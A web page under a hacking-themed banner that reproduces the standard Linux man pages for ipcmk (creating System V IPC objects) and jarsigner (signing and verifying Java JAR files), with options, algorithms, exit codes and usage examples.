░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1075 - Linux cli command ipcmk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ipcmk and provides detailed information about the command ipcmk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ipcmk.

NAME 🖥️ ipcmk 🖥️

make various IPC resources

SYNOPSIS

ipcmk [options]

DESCRIPTION

ipcmk allows you to create System V inter-process communication (IPC) objects: shared memory segments, message queues, and semaphore arrays.

OPTIONS

Resources can be specified with these options:

-M, –shmem size

Create a shared memory segment of size bytes. The size argument may be followed by the multiplicative suffixes KiB (=1024), MiB (=1024*1024), and so on for GiB, etc. (the “iB” is optional, e.g., “K” has the same meaning as “KiB”) or the suffixes KB (=1000), MB (=1000*1000), and so on for GB, etc.

-Q, –queue

Create a message queue.

-S, –semaphore number

Create a semaphore array with number of elements.

Other options are:

-p, –mode mode

Access permissions for the resource. Default is 0644.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

AUTHORS

SEE ALSO

ipcrm(1), ipcs(1), sysvipc(7)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The ipcmk command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1076 - Linux cli command jarsigner

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jarsigner and provides detailed information about the command jarsigner, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jarsigner.

NAME 🖥️ jarsigner 🖥️

sign and verify Java Archive (JAR) files

SYNOPSIS

jarsigner [options] jar-file alias

jarsigner -verify [options] jar-file [alias …]

options
The command-line options. See Options for jarsigner.

-verify
The -verify option can take zero or more keystore alias names after the JAR file name. When the -verify option is specified, the jarsigner command checks that the certificate used to verify each signed entry in the JAR file matches one of the keystore aliases. The aliases are defined in the keystore specified by -keystore or the default keystore.

If you also specify the -strict option, and the jarsigner command detects severe warnings, the message, “jar verified, with signer errors” is displayed.

jar-file
The JAR file to be signed.

If you also specified the -strict option, and the jarsigner command detected severe warnings, the message, “jar signed, with signer errors” is displayed.

alias
The aliases are defined in the keystore specified by -keystore or the default keystore.

DESCRIPTION

The jarsigner tool has two purposes:

  • To sign Java Archive (JAR) files.

  • To verify the signatures and integrity of signed JAR files.

The JAR feature enables the packaging of class files, images, sounds, and other digital data in a single file for faster and easier distribution. A tool named jar enables developers to produce JAR files. (Technically, any ZIP file can also be considered a JAR file, although when created by the jar command or processed by the jarsigner command, JAR files also contain a META-INF/MANIFEST.MF file.)

A digital signature is a string of bits that is computed from some data (the data being signed) and the private key of an entity (a person, company, and so on). Similar to a handwritten signature, a digital signature has many useful characteristics:

  • Its authenticity can be verified by a computation that uses the public key corresponding to the private key used to generate the signature.

  • It can’t be forged, assuming the private key is kept secret.

  • It is a function of the data signed and thus can’t be claimed to be the signature for other data as well.

  • The signed data can’t be changed. If the data is changed, then the signature can’t be verified as authentic.

To generate an entity’s signature for a file, the entity must first have a public/private key pair associated with it and one or more certificates that authenticate its public key. A certificate is a digitally signed statement from one entity that says that the public key of another entity has a particular value.

The jarsigner command uses key and certificate information from a keystore to generate digital signatures for JAR files. A keystore is a database of private keys and their associated X.509 certificate chains that authenticate the corresponding public keys. The keytool command is used to create and administer keystores.

The jarsigner command uses an entity’s private key to generate a signature. The signed JAR file contains, among other things, a copy of the certificate from the keystore for the public key corresponding to the private key used to sign the file. The jarsigner command can verify the digital signature of the signed JAR file using the certificate inside it (in its signature block file).

The jarsigner command can generate signatures that include a time stamp that enables a systems or deployer to check whether the JAR file was signed while the signing certificate was still valid.

In addition, APIs allow applications to obtain the timestamp information.

At this time, the jarsigner command can only sign JAR files created by the jar command or zip files. JAR files are the same as zip files, except they also have a META-INF/MANIFEST.MF file. A META-INF/MANIFEST.MF file is created when the jarsigner command signs a zip file.

The default jarsigner command behavior is to sign a JAR or zip file. Use the -verify option to verify a signed JAR file.

The jarsigner command also attempts to validate the signer’s certificate after signing or verifying. During validation, it checks the revocation status of each certificate in the signer’s certificate chain when the -revCheck option is specified. If there is a validation error or any other problem, the command generates warning messages. If you specify the -strict option, then the command treats severe warnings as errors. See Errors and Warnings.

KEYSTORE ALIASES

All keystore entities are accessed with unique aliases.

When you use the jarsigner command to sign a JAR file, you must specify the alias for the keystore entry that contains the private key needed to generate the signature. If no output file is specified, it overwrites the original JAR file with the signed JAR file.

Keystores are protected with a password, so the store password must be specified. You are prompted for it when you don’t specify it on the command line. Similarly, private keys are protected in a keystore with a password, so the private key’s password must be specified, and you are prompted for the password when you don’t specify it on the command line and it isn’t the same as the store password.

KEYSTORE LOCATION

The jarsigner command has a -keystore option for specifying the URL of the keystore to be used. The keystore is by default stored in a file named .keystore in the user’s home directory, as determined by the user.home system property.

Linux and OS X: user.home defaults to the user’s home directory.

The input stream from the -keystore option is passed to the KeyStore.load method. If NONE is specified as the URL, then a null stream is passed to the KeyStore.load method. NONE should be specified when the KeyStore class isn’t file based, for example, when it resides on a hardware token device.

KEYSTORE IMPLEMENTATION

The KeyStore class provided in the java.security package supplies a number of well-defined interfaces to access and modify the information in a keystore. You can have multiple different concrete implementations, where each implementation is for a particular type of keystore.

Currently, there are two command-line tools that use keystore implementations (keytool and jarsigner).

The default keystore implementation is PKCS12. This is a cross platform keystore based on the RSA PKCS12 Personal Information Exchange Syntax Standard. This standard is primarily meant for storing or transporting a user’s private keys, certificates, and miscellaneous secrets. There is another built-in implementation, provided by Oracle. It implements the keystore as a file with a proprietary keystore type (format) named JKS. It protects each private key with its individual password, and also protects the integrity of the entire keystore with a (possibly different) password.

Keystore implementations are provider-based, which means the application interfaces supplied by the KeyStore class are implemented in terms of a Service Provider Interface (SPI). There is a corresponding abstract KeystoreSpi class, also in the java.security package, that defines the Service Provider Interface methods that providers must implement. The term provider refers to a package or a set of packages that supply a concrete implementation of a subset of services that can be accessed by the Java Security API. To provide a keystore implementation, clients must implement a provider and supply a KeystoreSpi subclass implementation, as described in How to Implement a Provider in the Java Cryptography Architecture [https://www.oracle.com/pls/topic/lookup?ctx=en/java/javase/11/tools&id=JSSEC-GUID-2BCFDD85-D533-4E6C-8CE9-29990DEB0190].

Applications can choose different types of keystore implementations from different providers, with the getInstance factory method in the KeyStore class. A keystore type defines the storage and data format of the keystore information and the algorithms used to protect private keys in the keystore and the integrity of the keystore itself. Keystore implementations of different types aren’t compatible.

The jarsigner commands can read file-based keystores from any location that can be specified using a URL. In addition, these commands can read non-file-based keystores such as those provided by MSCAPI on Windows and PKCS11 on all platforms.

For the jarsigner and keytool commands, you can specify a keystore type at the command line with the -storetype option.

If you don’t explicitly specify a keystore type, then the tools choose a keystore implementation based on the value of the keystore.type property specified in the security properties file. The security properties file is called java.security, and it resides in the JDK security properties directory, java.home/conf/security.

Each tool gets the keystore.type value and then examines all the installed providers until it finds one that implements keystores of that type. It then uses the keystore implementation from that provider.

The KeyStore class defines a static method named getDefaultType that lets applications retrieve the value of the keystore.type property. The following line of code creates an instance of the default keystore type as specified in the keystore.type property:

KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());

The default keystore type is pkcs12, which is a cross platform keystore based on the RSA PKCS12 Personal Information Exchange Syntax Standard. This is specified by the following line in the security properties file:

keystore.type=pkcs12

Case doesn’t matter in keystore type designations. For example, JKS is the same as jks.

To have the tools utilize a keystore implementation other than the default, you can change that line to specify a different keystore type. For example, if you want to use the Oracle’s jks keystore implementation, then change the line to the following:

keystore.type=jks

SUPPORTED ALGORITHMS

By default, the jarsigner command signs a JAR file using one of the following algorithms and block file extensions depending on the type and size of the private key:

keyalgkeysizedefault sigalgblock file extension
DSAany sizeSHA256withDSA.DSA
RSA<= 3072SHA256withRSA.RSA
<= 7680SHA384withRSA
> 7680SHA512withRSA
EC< 384SHA256withECDSA.EC
< 512SHA384withECDSA
= 512SHA512withECDSA
RSASSA-PSS<= 3072RSASSA-PSS (with SHA-256).RSA
<= 7680RSASSA-PSS (with SHA-384)
> 7680RSASSA-PSS (with SHA-512)
EdDSA255Ed25519.EC
448Ed448
  • If an RSASSA-PSS key is encoded with parameters, then jarsigner will use the same parameters in the signature. Otherwise, jarsigner will use parameters that are determined by the size of the key as specified in the table above. For example, an 3072-bit RSASSA-PSS key will use RSASSA-PSS as the signature algorithm and SHA-256 as the hash and MGF1 algorithms.

These default signature algorithms can be overridden by using the -sigalg option.

The jarsigner command uses the jdk.jar.disabledAlgorithms and jdk.security.legacyAlgorithms security properties to determine which algorithms are considered a security risk. If the JAR file was signed with any algorithms that are disabled, it will be treated as an unsigned JAR file. If the JAR file was signed with any legacy algorithms, it will be treated as signed with an informational warning to inform users that the legacy algorithm will be disabled in a future update. For detailed verification output, include -J-Djava.security.debug=jar. The jdk.jar.disabledAlgorithms and jdk.security.legacyAlgorithms security properties are defined in the java.security file (located in the JDK’s $JAVA_HOME/conf/security directory).

Note:

In order to improve out of the box security, default key size and signature algorithm names are periodically updated to stronger values with each release of the JDK. If interoperability with older releases of the JDK is important, please make sure the defaults are supported by those releases, or alternatively use the -sigalg option to override the default values at your own risk.

THE SIGNED JAR FILE

When the jarsigner command is used to sign a JAR file, the output signed JAR file is exactly the same as the input JAR file, except that it has two additional files placed in the META-INF directory:

  • A signature file with an .SF extension

  • A signature block file with a .DSA, .RSA, or .EC extension

The base file names for these two files come from the value of the -sigfile option. For example, when the option is -sigfile MKSIGN, the files are named MKSIGN.SF and MKSIGN.RSA. In this document, we assume the signer always uses an RSA key.

If no -sigfile option appears on the command line, then the base file name for the .SF and the signature block files is the first 8 characters of the alias name specified on the command line, all converted to uppercase. If the alias name has fewer than 8 characters, then the full alias name is used. If the alias name contains any characters that aren’t allowed in a signature file name, then each such character is converted to an underscore (_) character in forming the file name. Valid characters include letters, digits, underscores, and hyphens.

SIGNATURE FILE

A signature file (.SF file) looks similar to the manifest file that is always included in a JAR file when the jarsigner command is used to sign the file. For each source file included in the JAR file, the .SF file has two lines, such as in the manifest file, that list the following:

  • File name

  • Name of the digest algorithm (SHA)

  • SHA digest value

Note:

The name of the digest algorithm (SHA) and the SHA digest value are on the same line.

In the manifest file, the SHA digest value for each source file is the digest (hash) of the binary data in the source file. In the .SF file, the digest value for a specified source file is the hash of the two lines in the manifest file for the source file.

The signature file, by default, includes a header with a hash of the whole manifest file. The header also contains a hash of the manifest header. The presence of the header enables verification optimization. See JAR File Verification.

SIGNATURE BLOCK FILE

The .SF file is signed and the signature is placed in the signature block file. This file also contains, encoded inside it, the certificate or certificate chain from the keystore that authenticates the public key corresponding to the private key used for signing. The file has the extension .DSA, .RSA, or .EC, depending on the key algorithm used. See the table in Supported Algorithms.

SIGNATURE TIME STAMP

The jarsigner command used with the following options generates and stores a signature time stamp when signing a JAR file:

  • -tsa url

  • -tsacert alias

  • -tsapolicyid policyid

  • -tsadigestalg algorithm

See Options for jarsigner.

JAR FILE VERIFICATION

A successful JAR file verification occurs when the signatures are valid, and none of the files that were in the JAR file when the signatures were generated have changed since then. JAR file verification involves the following steps:

  1. Verify the signature of the .SF file.

    The verification ensures that the signature stored in each signature block file was generated using the private key corresponding to the public key whose certificate (or certificate chain) also appears in the signature block file. It also ensures that the signature is a valid signature of the corresponding signature (.SF) file, and thus the .SF file wasn’t tampered with.

  2. Verify the digest listed in each entry in the .SF file with each corresponding section in the manifest.

    The .SF file by default includes a header that contains a hash of the entire manifest file. When the header is present, the verification can check to see whether or not the hash in the header matches the hash of the manifest file. If there is a match, then verification proceeds to the next step.

    If there is no match, then a less optimized verification is required to ensure that the hash in each source file information section in the .SF file equals the hash of its corresponding section in the manifest file. See Signature File.

    One reason the hash of the manifest file that is stored in the .SF file header might not equal the hash of the current manifest file is that it might contain sections for newly added files after the file was signed. For example, suppose one or more files were added to the signed JAR file (using the jar tool) that already contains a signature and a .SF file. If the JAR file is signed again by a different signer, then the manifest file is changed (sections are added to it for the new files by the jarsigner tool) and a new .SF file is created, but the original .SF file is unchanged. A verification is still considered successful if none of the files that were in the JAR file when the original signature was generated have been changed since then. This is because the hashes in the non-header sections of the .SF file equal the hashes of the corresponding sections in the manifest file.

  3. Read each file in the JAR file that has an entry in the .SF file. While reading, compute the file’s digest and compare the result with the digest for this file in the manifest section. The digests should be the same or verification fails.

    If any serious verification failures occur during the verification process, then the process is stopped and a security exception is thrown. The jarsigner command catches and displays the exception.

  4. Check for disabled algorithm usage. See Supported Algorithms.

Note:

You should read any addition warnings (or errors if you specified the -strict option), as well as the content of the certificate (by specifying the -verbose and -certs options) to determine if the signature can be trusted.

MULTIPLE SIGNATURES FOR A JAR FILE

A JAR file can be signed by multiple people by running the jarsigner command on the file multiple times and specifying the alias for a different person each time, as follows:

jarsigner myBundle.jar susan
jarsigner myBundle.jar kevin

When a JAR file is signed multiple times, there are multiple .SF and signature block files in the resulting JAR file, one pair for each signature. In the previous example, the output JAR file includes files with the following names:

SUSAN.SF
SUSAN.RSA
KEVIN.SF
KEVIN.RSA

OPTIONS FOR JARSIGNER

The following sections describe the options for the jarsigner. Be aware of the following standards:

  • All option names are preceded by a hyphen sign (-).

  • The options can be provided in any order.

  • Items that are in italics or underlined (option values) represent the actual values that must be supplied.

  • The -storepass, -keypass, -sigfile, -sigalg, -digestalg, -signedjar, and TSA-related options are only relevant when signing a JAR file; they aren’t relevant when verifying a signed JAR file. The -keystore option is relevant for signing and verifying a JAR file. In addition, aliases are specified when signing and verifying a JAR file.

-keystore url
Specifies the URL that tells the keystore location. This defaults to the file .keystore in the user’s home directory, as determined by the user.home system property.

A keystore is required when signing. You must explicitly specify a keystore when the default keystore doesn’t exist or if you want to use one other than the default.

A keystore isn’t required when verifying, but if one is specified or the default exists and the -verbose option was also specified, then additional information is output regarding whether or not any of the certificates used to verify the JAR file are contained in that keystore.

The -keystore argument can be a file name and path specification rather than a URL, in which case it is treated the same as a file: URL, for example, the following are equivalent:

  • -keystore filePathAndName

  • **-keystore file:**filePathAndName

If the Sun PKCS #11 provider was configured in the java.security security properties file (located in the JDK’s $JAVA_HOME/conf/security directory), then the keytool and jarsigner tools can operate on the PKCS #11 token by specifying these options:

-keystore NONE -storetype PKCS11

For example, the following command lists the contents of the configured PKCS#11 token:

keytool -keystore NONE -storetype PKCS11 -list

-storepass [:env | :file] argument
Specifies the password that is required to access the keystore. This is only needed when signing (not verifying) a JAR file. In that case, if a -storepass option isn’t provided at the command line, then the user is prompted for the password.

If the modifier env or file isn’t specified, then the password has the value argument. Otherwise, the password is retrieved as follows:

  • env: Retrieve the password from the environment variable named argument.

  • file: Retrieve the password from the file named argument.

Note:

The password shouldn’t be specified on the command line or in a script unless it is for testing purposes, or you are on a secure system.

-storetype storetype
Specifies the type of keystore to be instantiated. The default keystore type is the one that is specified as the value of the keystore.type property in the security properties file, which is returned by the static getDefaultType method in java.security.KeyStore.

The PIN for a PKCS #11 token can also be specified with the -storepass option. If none is specified, then the keytool and jarsigner commands prompt for the token PIN. If the token has a protected authentication path (such as a dedicated PIN-pad or a biometric reader), then the -protected option must be specified and no password options can be specified.

-keypass [:env | :file] argument -certchain file
Specifies the password used to protect the private key of the keystore entry addressed by the alias specified on the command line. The password is required when using jarsigner to sign a JAR file. If no password is provided on the command line, and the required password is different from the store password, then the user is prompted for it.

If the modifier env or file isn’t specified, then the password has the value argument. Otherwise, the password is retrieved as follows:

  • env: Retrieve the password from the environment variable named argument.

  • file: Retrieve the password from the file named argument.

Note:

The password shouldn’t be specified on the command line or in a script unless it is for testing purposes, or you are on a secure system.

-certchain file
Specifies the certificate chain to be used when the certificate chain associated with the private key of the keystore entry that is addressed by the alias specified on the command line isn’t complete. This can happen when the keystore is located on a hardware token where there isn’t enough capacity to hold a complete certificate chain. The file can be a sequence of concatenated X.509 certificates, or a single PKCS#7 formatted data block, either in binary encoding format or in printable encoding format (also known as Base64 encoding) as defined by Internet RFC 1421 Certificate Encoding Standard [http://tools.ietf.org/html/rfc1421].

-sigfile file
Specifies the base file name to be used for the generated .SF and signature block files. For example, if file is DUKESIGN, then the generated .SF and signature block files are named DUKESIGN.SF and DUKESIGN.RSA, and placed in the META-INF directory of the signed JAR file.

The characters in the file must come from the set a-zA-Z0-9_-. Only letters, numbers, underscore, and hyphen characters are allowed. All lowercase characters are converted to uppercase for the .SF and signature block file names.

If no -sigfile option appears on the command line, then the base file name for the .SF and signature block files is the first 8 characters of the alias name specified on the command line, all converted to upper case. If the alias name has fewer than 8 characters, then the full alias name is used. If the alias name contains any characters that aren’t valid in a signature file name, then each such character is converted to an underscore (_) character to form the file name.

-signedjar file
Specifies the name of signed JAR file.

-digestalg algorithm
Specifies the name of the message digest algorithm to use when digesting the entries of a JAR file.

For a list of standard message digest algorithm names, see Java Security Standard Algorithm Names.

If this option isn’t specified, then SHA256 is used. There must either be a statically installed provider supplying an implementation of the specified algorithm or the user must specify one with the -addprovider or -providerClass options; otherwise, the command will not succeed.

-sigalg algorithm
Specifies the name of the signature algorithm to use to sign the JAR file.

This algorithm must be compatible with the private key used to sign the JAR file. If this option isn’t specified, then use a default algorithm matching the private key as described in the Supported Algorithms section. There must either be a statically installed provider supplying an implementation of the specified algorithm or you must specify one with the -addprovider or -providerClass option; otherwise, the command doesn’t succeed.

For a list of standard message digest algorithm names, see Java Security Standard Algorithm Names.

-verify
Verifies a signed JAR file.

****-verbose[:suboptions]
When the -verbose option appears on the command line, it indicates that the jarsigner use the verbose mode when signing or verifying with the suboptions determining how much information is shown. This causes the , which causes jarsigner to output extra information about the progress of the JAR signing or verification. The suboptions can be all, grouped, or summary.

If the -certs option is also specified, then the default mode (or suboption all) displays each entry as it is being processed, and after that, the certificate information for each signer of the JAR file.

If the -certs and the -verbose:grouped suboptions are specified, then entries with the same signer info are grouped and displayed together with their certificate information.

If -certs and the -verbose:summary suboptions are specified, then entries with the same signer information are grouped and displayed together with their certificate information.

Details about each entry are summarized and displayed as one entry (and more). See Example of Verifying a Signed JAR File and Example of Verification with Certificate Information.

-certs
If the -certs option appears on the command line with the -verify and -verbose options, then the output includes certificate information for each signer of the JAR file. This information includes the name of the type of certificate (stored in the signature block file) that certifies the signer’s public key, and if the certificate is an X.509 certificate (an instance of the java.security.cert.X509Certificate), then the distinguished name of the signer.

The keystore is also examined. If no keystore value is specified on the command line, then the default keystore file (if any) is checked. If the public key certificate for a signer matches an entry in the keystore, then the alias name for the keystore entry for that signer is displayed in parentheses.

-revCheck
This option enables revocation checking of certificates when signing or verifying a JAR file. The jarsigner command attempts to make network connections to fetch OCSP responses and CRLs if the -revCheck option is specified on the command line. Note that revocation checks are not enabled unless this option is specified.

-tsa url
If -tsa http://example.tsa.url appears on the command line when signing a JAR file then a time stamp is generated for the signature. The URL, http://example.tsa.url, identifies the location of the Time Stamping Authority (TSA) and overrides any URL found with the -tsacert option. The -tsa option doesn’t require the TSA public key certificate to be present in the keystore.

To generate the time stamp, jarsigner communicates with the TSA with the Time-Stamp Protocol (TSP) defined in RFC 3161. When successful, the time stamp token returned by the TSA is stored with the signature in the signature block file.

-tsacert alias
When -tsacert alias appears on the command line when signing a JAR file, a time stamp is generated for the signature. The alias identifies the TSA public key certificate in the keystore that is in effect. The entry’s certificate is examined for a Subject Information Access extension that contains a URL identifying the location of the TSA.

The TSA public key certificate must be present in the keystore when using the -tsacert option.

-tsapolicyid policyid
Specifies the object identifier (OID) that identifies the policy ID to be sent to the TSA server. If this option isn’t specified, no policy ID is sent and the TSA server will choose a default policy ID.

Object identifiers are defined by X.696, which is an ITU Telecommunication Standardization Sector (ITU-T) standard. These identifiers are typically period-separated sets of non-negative digits like 1.2.3.4, for example.

-tsadigestalg algorithm
Specifies the message digest algorithm that is used to generate the message imprint to be sent to the TSA server. If this option isn’t specified, SHA-256 will be used.

See Supported Algorithms.

For a list of standard message digest algorithm names, see Java Security Standard Algorithm Names.

-internalsf
In the past, the signature block file generated when a JAR file was signed included a complete encoded copy of the .SF file (signature file) also generated. This behavior has been changed. To reduce the overall size of the output JAR file, the signature block file by default doesn’t contain a copy of the .SF file anymore. If -internalsf appears on the command line, then the old behavior is utilized. This option is useful for testing. In practice, don’t use the -internalsf option because it incurs higher overhead.

-sectionsonly
If the -sectionsonly option appears on the command line, then the .SF file (signature file) generated when a JAR file is signed doesn’t include a header that contains a hash of the whole manifest file. It contains only the information and hashes related to each individual source file included in the JAR file. See Signature File.

By default, this header is added, as an optimization. When the header is present, whenever the JAR file is verified, the verification can first check to see whether the hash in the header matches the hash of the whole manifest file. When there is a match, verification proceeds to the next step. When there is no match, it is necessary to do a less optimized verification that the hash in each source file information section in the .SF file equals the hash of its corresponding section in the manifest file. See JAR File Verification.

The -sectionsonly option is primarily used for testing. It shouldn’t be used other than for testing because using it incurs higher overhead.

-protected
Values can be either true or false. Specify true when a password must be specified through a protected authentication path such as a dedicated PIN reader.

-providerName providerName
If more than one provider was configured in the java.security security properties file, then you can use the -providerName option to target a specific provider instance. The argument to this option is the name of the provider.

For the Oracle PKCS #11 provider, providerName is of the form **SunPKCS11-**TokenName, where TokenName is the name suffix that the provider instance has been configured with, as detailed in the configuration attributes table. For example, the following command lists the contents of the PKCS #11 keystore provider instance with name suffix SmartCard:

jarsigner -keystore NONE -storetype PKCS11 -providerName SunPKCS11-SmartCard -list

-addprovider name [-providerArg arg]
Adds a security provider by name (such as SunPKCS11) and an optional configure argument. The value of the security provider is the name of a security provider that is defined in a module.

Used with the -providerArg ConfigFilePath option, the keytool and jarsigner tools install the provider dynamically and use ConfigFilePath for the path to the token configuration file. The following example shows a command to list a PKCS #11 keystore when the Oracle PKCS #11 provider wasn’t configured in the security properties file.

jarsigner -keystore NONE -storetype PKCS11 -addprovider SunPKCS11 -providerArg /mydir1/mydir2/token.config

-providerClass provider-class-name [-providerArg arg]
Used to specify the name of cryptographic service provider’s master class file when the service provider isn’t listed in the java.security security properties file. Adds a security provider by fully-qualified class name and an optional configure argument.

Note:

The preferred way to load PKCS11 is by using modules. See -addprovider.

****-Jjavaoption
Passes through the specified javaoption string directly to the Java interpreter. The jarsigner command is a wrapper around the interpreter. This option shouldn’t contain any spaces. It is useful for adjusting the execution environment or memory usage. For a list of possible interpreter options, type java -h or java -X at the command line.

-strict
During the signing or verifying process, the command may issue warning messages. If you specify this option, the exit code of the tool reflects the severe warning messages that this command found. See Errors and Warnings.

-conf url
Specifies a pre-configured options file. Read the keytool documentation for details. The property keys supported are “jarsigner.all” for all actions, “jarsigner.sign” for signing, and “jarsigner.verify” for verification. jarsigner arguments including the JAR file name and alias name(s) cannot be set in this file.

DEPRECATED OPTIONS

The following jarsigner options are deprecated as of JDK 9 and might be removed in a future JDK release.

-altsigner class
This option specifies an alternative signing mechanism. The fully qualified class name identifies a class file that extends the com.sun.jarsigner.ContentSigner abstract class. The path to this class file is defined by the -altsignerpath option. If the -altsigner option is used, then the jarsigner command uses the signing mechanism provided by the specified class. Otherwise, the jarsigner command uses its default signing mechanism.

For example, to use the signing mechanism provided by a class named com.sun.sun.jarsigner.AuthSigner, use the jarsigner option -altsigner com.sun.jarsigner.AuthSigner.

-altsignerpath classpathlist
Specifies the path to the class file and any JAR file it depends on. The class file name is specified with the -altsigner option. If the class file is in a JAR file, then this option specifies the path to that JAR file.

An absolute path or a path relative to the current directory can be specified. If classpathlist contains multiple paths or JAR files, then they should be separated with a:

  • Colon (:) on Linux and macOS

  • Semicolon (;) on Windows

This option isn’t necessary when the class is already in the search path.

The following example shows how to specify the path to a JAR file that contains the class file. The JAR file name is included.

-altsignerpath /home/user/lib/authsigner.jar

The following example shows how to specify the path to the JAR file that contains the class file. The JAR file name is omitted.

-altsignerpath /home/user/classes/com/sun/tools/jarsigner/

ERRORS AND WARNINGS

During the signing or verifying process, the jarsigner command may issue various errors or warnings.

If there is a failure, the jarsigner command exits with code 1. If there is no failure, but there are one or more severe warnings, the jarsigner command exits with code 0 when the -strict option is not specified, or exits with the OR-value of the warning codes when the -strict is specified. If there is only informational warnings or no warning at all, the command always exits with code 0.

For example, if a certificate used to sign an entry is expired and has a KeyUsage extension that doesn’t allow it to sign a file, the jarsigner command exits with code 12 (=4+8) when the -strict option is specified.

Note: Exit codes are reused because only the values from 0 to 255 are legal on Linux and OS X.

The following sections describes the names, codes, and descriptions of the errors and warnings that the jarsigner command can issue.

FAILURE

Reasons why the jarsigner command fails include (but aren’t limited to) a command line parsing error, the inability to find a keypair to sign the JAR file, or the verification of a signed JAR fails.

failure
Code 1. The signing or verifying fails.

SEVERE WARNINGS

Note:

Severe warnings are reported as errors if you specify the -strict option.

Reasons why the jarsigner command issues a severe warning include the certificate used to sign the JAR file has an error or the signed JAR file has other problems.

hasExpiredCert
Code 4. This JAR contains entries whose signer certificate has expired.

hasExpiredTsaCert
Code 4. The timestamp has expired.

notYetValidCert
Code 4. This JAR contains entries whose signer certificate isn’t yet valid.

chainNotValidated
Code 4. This JAR contains entries whose certificate chain isn’t validated.

tsaChainNotValidated
Code 64. The timestamp is invalid.

signerSelfSigned
Code 4. This JAR contains entries whose signer certificate is self signed.

disabledAlg
Code 4. An algorithm used is considered a security risk and is disabled.

badKeyUsage
Code 8. This JAR contains entries whose signer certificate’s KeyUsage extension doesn’t allow code signing.

badExtendedKeyUsage
Code 8. This JAR contains entries whose signer certificate’s ExtendedKeyUsage extension doesn’t allow code signing.

badNetscapeCertType
Code 8. This JAR contains entries whose signer certificate’s NetscapeCertType extension doesn’t allow code signing.

hasUnsignedEntry
Code 16. This JAR contains unsigned entries which haven’t been integrity-checked.

notSignedByAlias
Code 32. This JAR contains signed entries which aren’t signed by the specified alias(es).

aliasNotInStore
Code 32. This JAR contains signed entries that aren’t signed by alias in this keystore.

tsaChainNotValidated
Code 64. This JAR contains entries whose TSA certificate chain is invalid.

INFORMATIONAL WARNINGS

Informational warnings include those that aren’t errors but regarded as bad practice. They don’t have a code.

extraAttributesDetected
The POSIX file permissions and/or symlink attributes are detected during signing or verifying a JAR file. The jarsigner tool preserves these attributes in the newly signed file but warns that these attributes are unsigned and not protected by the signature.

hasExpiringCert
This JAR contains entries whose signer certificate expires within six months.

hasExpiringTsaCert
The timestamp will expire within one year on YYYY-MM-DD.

legacyAlg
An algorithm used is considered a security risk but not disabled.

noTimestamp
This JAR contains signatures that doesn’t include a timestamp. Without a timestamp, users may not be able to validate this JAR file after the signer certificate’s expiration date (YYYY-MM-DD) or after any future revocation date.

EXAMPLE OF SIGNING A JAR FILE

Use the following command to sign bundle.jar with the private key of a user whose keystore alias is jane in a keystore named mystore in the working directory and name the signed JAR file sbundle.jar:

jarsigner -keystore /working/mystore -storepass keystore_password -keypass private_key_password -signedjar sbundle.jar bundle.jar jane

There is no -sigfile specified in the previous command so the generated .SF and signature block files to be placed in the signed JAR file have default names based on the alias name. They are named JANE.SF and JANE.RSA.

If you want to be prompted for the store password and the private key password, then you could shorten the previous command to the following:

jarsigner -keystore /working/mystore -signedjar sbundle.jar bundle.jar jane

If the keystore is the default keystore (.keystore in your home directory), then you don’t need to specify a keystore, as follows:

jarsigner -signedjar sbundle.jar bundle.jar jane

If you want the signed JAR file to overwrite the input JAR file (bundle.jar), then you don’t need to specify a -signedjar option, as follows:

jarsigner bundle.jar jane

EXAMPLE OF VERIFYING A SIGNED JAR FILE

To verify a signed JAR file to ensure that the signature is valid and the JAR file wasn’t been tampered with, use a command such as the following:

jarsigner -verify ButtonDemo.jar

When the verification is successful, jar verified is displayed. Otherwise, an error message is displayed. You can get more information when you use the -verbose option. A sample use of jarsigner with the -verbose option follows:

jarsigner -verify -verbose ButtonDemo.jar

